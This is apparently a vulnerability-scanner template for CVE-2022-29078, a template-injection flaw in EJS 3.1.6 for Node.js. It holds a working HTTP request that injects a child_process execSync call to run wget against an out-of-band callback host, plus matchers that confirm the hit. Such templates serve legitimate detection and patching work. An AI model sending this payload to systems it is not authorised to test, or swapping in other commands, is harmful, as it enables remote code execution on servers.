id: CVE-2022-29078

info:
  name: Node.js Embedded JavaScript 3.1.6 - Template Injection
  author: For3stCo1d
  severity: critical
  description: |
    Node.js Embedded JavaScript 3.1.6 is susceptible to server-side template injection via settings[view options][outputFunctionName], which is parsed as an internal option and overwrites the outputFunctionName option with an arbitrary OS command, which is then executed upon template compilation.
  reference:
    - https://eslam.io/posts/ejs-server-side-template-injection-rce/
    - https://github.com/miko550/CVE-2022-29078
    - https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29078
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-29078
    cwe-id: CWE-1336
  tags: cve,cve2022,ssti,rce,ejs,nodejs,oast

requests:
  - raw:
      - |
        GET /page?id={{randstr}}&settings[view%20options][outputFunctionName]=x;process.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interactsh-url}}%27);s HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: body
        words:
          - "You are viewing page number"

# Enhanced by mp on 2022/10/06